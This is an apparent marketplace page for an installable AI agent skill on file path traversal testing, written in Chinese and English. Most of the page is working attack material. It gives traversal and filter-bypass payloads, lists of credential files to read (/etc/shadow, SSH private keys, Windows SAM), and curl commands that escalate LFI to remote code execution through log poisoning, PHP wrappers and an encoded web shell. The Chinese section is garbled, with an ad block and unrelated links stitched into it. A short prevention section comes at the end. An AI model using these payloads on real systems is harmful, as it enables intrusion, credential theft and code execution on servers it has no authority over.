文件路径遍历漏洞测试指南：识别、利用与绕过技术详解

File Path Traversal Testing by sickn33/antigravity-awesome-skills

27,100 GitHub Stars

GitHub

安装命令

npx skills add https://github.com/sickn33/antigravity-awesome-skills --skill 'File Path Traversal Testing'

Web应用测试安全

🇨🇳中文介绍

文件路径遍历测试

目的

识别并利用文件路径遍历（目录遍历）漏洞，这些漏洞允许攻击者读取服务器上的任意文件，可能包括敏感配置文件、凭据和源代码。当用户可控的输入未经适当验证就传递给文件系统 API 时，会发生此漏洞。

前提条件

所需工具

带有开发者工具的 Web 浏览器
Burp Suite 或 OWASP ZAP
用于测试有效载荷的 cURL
用于自动化的字典文件
用于模糊测试的 ffuf 或 wfuzz

所需知识

HTTP 请求/响应结构
Linux 和 Windows 文件系统布局
Web 应用程序架构
对文件 API 的基本理解

输出和交付物

漏洞报告 - 识别出的遍历点和严重性
利用证明 - 提取的文件内容
影响评估 - 可访问的文件和数据暴露情况
修复指南 - 安全编码建议

核心工作流程

阶段 1：理解路径遍历

当应用程序使用用户输入来构建文件路径时，会发生路径遍历：

// 易受攻击的 PHP 代码示例
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

攻击原理：

广告位招租

在这里展示您的产品或服务

触达数万 AI 开发者，精准高效

联系我们

相关 Skills

Azure RBAC 权限管理工具：查找最小角色、创建自定义角色与自动化分配

110,700 周安装

Better Auth 最佳实践指南：集成、配置与安全设置完整教程

30,300 周安装

OpenClaw 安全 Linux 云部署指南：私有优先、SSH隧道、Podman容器化

27,400 周安装

Linux云主机安全托管指南：从SSH加固到HTTPS部署

27,400 周安装

图像加载：/image?filename=23.jpg
模板选择：?template=blue.php
文件下载：/download?file=report.pdf
文档查看器：/view?doc=manual.pdf
包含机制：?page=about

# 基本 Linux 遍历
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows 遍历
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL 编码
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # 双重编码

# 使用 curl 测试有效载荷
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"

# 系统文件
/etc/passwd           # 用户账户
/etc/shadow           # 密码哈希值 (仅 root)
/etc/group            # 组信息
/etc/hosts            # 主机映射
/etc/hostname         # 系统主机名
/etc/issue            # 系统横幅

# SSH 文件
/root/.ssh/id_rsa           # Root 私钥
/root/.ssh/authorized_keys  # 授权密钥
/home/<user>/.ssh/id_rsa    # 用户私钥
/etc/ssh/sshd_config        # SSH 配置

# Web 服务器文件
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log

# 应用程序文件
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config

# 进程信息
/proc/self/environ      # 环境变量
/proc/self/cmdline      # 进程命令行
/proc/self/fd/0         # 文件描述符
/proc/version           # 内核版本

# 常见应用程序配置
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf

# 系统文件
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM

# IIS 文件
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

# 配置文件
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php

# 用户文件
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\

# php://filter - 以 base64 格式读取源代码
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# php://input - 将 POST 数据作为 PHP 执行
curl -X POST -d "<?php system('id'); ?>" \
     "http://target.com/page?file=php://input"

# data:// - 执行内联 PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"

# expect:// - 执行系统命令
curl "http://target.com/page?file=expect://id"

# 步骤 1: 识别潜在参数
# 查找与文件相关的功能

# 步骤 2: 测试基本遍历
../../../etc/passwd

# 步骤 3: 测试编码变体
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# 步骤 4: 测试绕过技术
....//....//....//etc/passwd
..;/..;/..;/etc/passwd

# 步骤 5: 测试绝对路径
/etc/passwd

# 步骤 6: 测试空字节 (旧版)
../../../etc/passwd%00.jpg

# 步骤 7: 尝试包装器利用
php://filter/convert.base64-encode/resource=index.php

# 步骤 8: 尝试日志投毒以实现 RCE

// PHP: 使用 basename() 剥离路径
$filename = basename($_GET['file']);
$path = "/var/www/files/" . $filename;

// PHP: 针对白名单进行验证
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
if (in_array($_GET['file'], $allowed)) {
    include("/var/www/files/" . $_GET['file']);
}

// PHP: 规范化并验证基础路径
$base = "/var/www/files/";
$realBase = realpath($base);
$userPath = $base . $_GET['file'];
$realUserPath = realpath($userPath);

if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
    include($realUserPath);
}



# Python: 使用 os.path.realpath() 并进行验证
import os

def safe_file_access(base_dir, filename):
    # 解析为绝对路径
    base = os.path.realpath(base_dir)
    file_path = os.path.realpath(os.path.join(base, filename))
    
    # 验证文件是否在基础目录内
    if file_path.startswith(base):
        return open(file_path, 'r').read()
    else:
        raise Exception("Access denied")

有效载荷	目标
`../../../etc/passwd`	Linux 密码文件
`..\..\..\..\windows\win.ini`	Windows INI 文件
`....//....//....//etc/passwd`	绕过简单过滤器
`/etc/passwd`	绝对路径
`php://filter/convert.base64-encode/resource=config.php`	源代码

操作系统	文件	用途
Linux	`/etc/passwd`	用户账户
Linux	`/etc/shadow`	密码哈希值
Linux	`/proc/self/environ`	环境变量
Windows	`C:\windows\win.ini`	系统配置
Windows	`C:\boot.ini`	启动配置
Web	`wp-config.php`	WordPress 数据库凭据

类型	示例
URL 编码	`%2e%2e%2f` = `../`
双重编码	`%252e%252e%252f` = `../`
Unicode	`%c0%af` = `/`
空字节	`%00`

问题	解决方案
没有响应差异	尝试编码、盲遍历、不同的文件
有效载荷被阻止	使用编码变体、嵌套序列、大小写变体
无法升级到 RCE	检查日志、PHP 包装器、文件上传、会话投毒

🇺🇸English

File Path Traversal Testing

Purpose

Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.

Prerequisites

Required Tools

Web browser with developer tools
Burp Suite or OWASP ZAP
cURL for testing payloads
Wordlists for automation
ffuf or wfuzz for fuzzing

Required Knowledge

HTTP request/response structure
Linux and Windows filesystem layout
Web application architecture
Basic understanding of file APIs

Outputs and Deliverables

Vulnerability Report - Identified traversal points and severity
Exploitation Proof - Extracted file contents
Impact Assessment - Accessible files and data exposure
Remediation Guidance - Secure coding recommendations

Core Workflow

Phase 1: Understanding Path Traversal

Path traversal occurs when applications use user input to construct file paths:

// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

Attack principle:

../ sequence moves up one directory
Chain multiple sequences to reach root
Access files outside intended directory

Impact:

Confidentiality - Read sensitive files
Integrity - Write/modify files (in some cases)
Availability - Delete files (in some cases)
Code Execution - If combined with file upload or log poisoning

Phase 2: Identifying Traversal Points

Map application for potential file operations:

# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=

Common vulnerable functionality:

Image loading: /image?filename=23.jpg
Template selection: ?template=blue.php
File downloads: /download?file=report.pdf
Document viewers: /view?doc=manual.pdf
Include mechanisms: ?page=about

Phase 3: Basic Exploitation Techniques

Simple Path Traversal

# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"

Absolute Path Injection

# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini

Phase 4: Bypass Techniques

Bypass Stripped Traversal Sequences

# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd

# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Bypass Extension Validation

# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# Path truncation
../../../etc/passwd...............................

# Double extension
../../../etc/passwd.jpg.php

Bypass Base Directory Validation

# When path must start with expected directory
/var/www/images/../../../etc/passwd

# Expected path followed by traversal
images/../../../etc/passwd

Bypass Blacklist Filters

# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd

# Overlong UTF-8 encoding
%c0%2e%c0%2e%c0%af

# URL encoding variations
%2e%2e/
%2e%2e%5c
..%5c
..%255c

# Case variations (Windows)
....\\....\\etc\\passwd

Phase 5: Linux Target Files

High-value files to target:

# System files
/etc/passwd           # User accounts
/etc/shadow           # Password hashes (root only)
/etc/group            # Group information
/etc/hosts            # Host mappings
/etc/hostname         # System hostname
/etc/issue            # System banner

# SSH files
/root/.ssh/id_rsa           # Root private key
/root/.ssh/authorized_keys  # Authorized keys
/home/<user>/.ssh/id_rsa    # User private keys
/etc/ssh/sshd_config        # SSH configuration

# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log

# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config

# Process information
/proc/self/environ      # Environment variables
/proc/self/cmdline      # Process command line
/proc/self/fd/0         # File descriptors
/proc/version           # Kernel version

# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf

Phase 6: Windows Target Files

Windows-specific targets:

# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM

# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php

# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\

Phase 7: Automated Testing

Using Burp Suite

1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success

Using ffuf

# Basic traversal fuzzing
ffuf -u "http://target.com/image?filename=FUZZ" \
     -w /usr/share/wordlists/traversal.txt \
     -mc 200

# Fuzzing with encoding
ffuf -u "http://target.com/page?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200,500 -ac

Using wfuzz

# Traverse to /etc/passwd
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
      --hc 404 \
      "http://target.com/index.php?file=FUZZ"

# With headers/cookies
wfuzz -c -z file,traversal.txt \
      -H "Cookie: session=abc123" \
      "http://target.com/load?path=FUZZ"

Phase 8: LFI to RCE Escalation

Log Poisoning

# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# Include auth.log (SSH)
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"

Proc/self/environ

# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
     "http://target.com/page?file=/proc/self/environ"

# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
     "http://target.com/page?file=/proc/self/environ&c=whoami"

PHP Wrapper Exploitation

# php://filter - Read source code as base64
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# php://input - Execute POST data as PHP
curl -X POST -d "<?php system('id'); ?>" \
     "http://target.com/page?file=php://input"

# data:// - Execute inline PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"

# expect:// - Execute system commands
curl "http://target.com/page?file=expect://id"

Phase 9: Testing Methodology

Structured testing approach:

# Step 1: Identify potential parameters
# Look for file-related functionality

# Step 2: Test basic traversal
../../../etc/passwd

# Step 3: Test encoding variations
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Step 4: Test bypass techniques
....//....//....//etc/passwd
..;/..;/..;/etc/passwd

# Step 5: Test absolute paths
/etc/passwd

# Step 6: Test with null bytes (legacy)
../../../etc/passwd%00.jpg

# Step 7: Attempt wrapper exploitation
php://filter/convert.base64-encode/resource=index.php

# Step 8: Attempt log poisoning for RCE

Phase 10: Prevention Measures

Secure coding practices:

// PHP: Use basename() to strip paths
$filename = basename($_GET['file']);
$path = "/var/www/files/" . $filename;

// PHP: Validate against whitelist
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
if (in_array($_GET['file'], $allowed)) {
    include("/var/www/files/" . $_GET['file']);
}

// PHP: Canonicalize and verify base path
$base = "/var/www/files/";
$realBase = realpath($base);
$userPath = $base . $_GET['file'];
$realUserPath = realpath($userPath);

if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
    include($realUserPath);
}



# Python: Use os.path.realpath() and validate
import os

def safe_file_access(base_dir, filename):
    # Resolve to absolute path
    base = os.path.realpath(base_dir)
    file_path = os.path.realpath(os.path.join(base, filename))
    
    # Verify file is within base directory
    if file_path.startswith(base):
        return open(file_path, 'r').read()
    else:
        raise Exception("Access denied")

Quick Reference

Common Payloads

Payload	Target
`../../../etc/passwd`	Linux password file
`..\..\..\..\windows\win.ini`	Windows INI file
`....//....//....//etc/passwd`	Bypass simple filter
`/etc/passwd`	Absolute path
`php://filter/convert.base64-encode/resource=config.php`	Source code

Target Files

OS	File	Purpose
Linux	`/etc/passwd`	User accounts
Linux	`/etc/shadow`	Password hashes
Linux	`/proc/self/environ`	Environment vars
Windows	`C:\windows\win.ini`	System config
Windows	`C:\boot.ini`	Boot config

Encoding Variants

Type	Example
URL Encoding	`%2e%2e%2f` = `../`
Double Encoding	`%252e%252e%252f` = `../`
Unicode	`%c0%af` = `/`
Null Byte	`%00`

Constraints and Limitations

Permission Restrictions

Cannot read files application user cannot access
Shadow file requires root privileges
Many files have restrictive permissions

Application Restrictions

Extension validation may limit file types
Base path validation may restrict scope
WAF may block common payloads

Testing Considerations

Respect authorized scope
Avoid accessing genuinely sensitive data
Document all successful access

Troubleshooting

Problem	Solutions
No response difference	Try encoding, blind traversal, different files
Payload blocked	Use encoding variants, nested sequences, case variations
Cannot escalate to RCE	Check logs, PHP wrappers, file upload, session poisoning

Weekly Installs

–

Repository

sickn33/antigra…e-skills

GitHub Stars

27.1K

First Seen

–

Security Audits

Gen Agent Trust HubPass SocketPass SnykFail

文件路径遍历漏洞测试指南：识别、利用与绕过技术详解

🇨🇳中文介绍

文件路径遍历测试

目的

前提条件

所需工具

所需知识

输出和交付物

核心工作流程

阶段 1：理解路径遍历

相关 Skills

阶段 2：识别遍历点

阶段 3：基本利用技术

简单路径遍历

绝对路径注入

阶段 4：绕过技术

绕过被剥离的遍历序列

绕过扩展名验证

绕过基础目录验证

绕过黑名单过滤器

阶段 5：Linux 目标文件

阶段 6：Windows 目标文件

阶段 7：自动化测试

使用 Burp Suite

使用 ffuf

使用 wfuzz

阶段 8：从 LFI 升级到 RCE

日志投毒

Proc/self/environ

PHP 包装器利用

阶段 9：测试方法

阶段 10：预防措施

快速参考

常见有效载荷

目标文件

编码变体

约束和限制

权限限制

应用程序限制

测试注意事项

故障排除

🇺🇸English

File Path Traversal Testing

Purpose

Prerequisites

Required Tools

Required Knowledge

Outputs and Deliverables

Core Workflow

Phase 1: Understanding Path Traversal

Phase 2: Identifying Traversal Points

Phase 3: Basic Exploitation Techniques

Simple Path Traversal

Absolute Path Injection

Phase 4: Bypass Techniques

Bypass Stripped Traversal Sequences

Bypass Extension Validation

Bypass Base Directory Validation

Bypass Blacklist Filters

Phase 5: Linux Target Files

Phase 6: Windows Target Files

Phase 7: Automated Testing

Using Burp Suite

Using ffuf

Using wfuzz

Phase 8: LFI to RCE Escalation

Log Poisoning

Proc/self/environ

PHP Wrapper Exploitation

Phase 9: Testing Methodology

Phase 10: Prevention Measures

Quick Reference

Common Payloads

Target Files

Encoding Variants

Constraints and Limitations

Permission Restrictions

Application Restrictions

Testing Considerations

Troubleshooting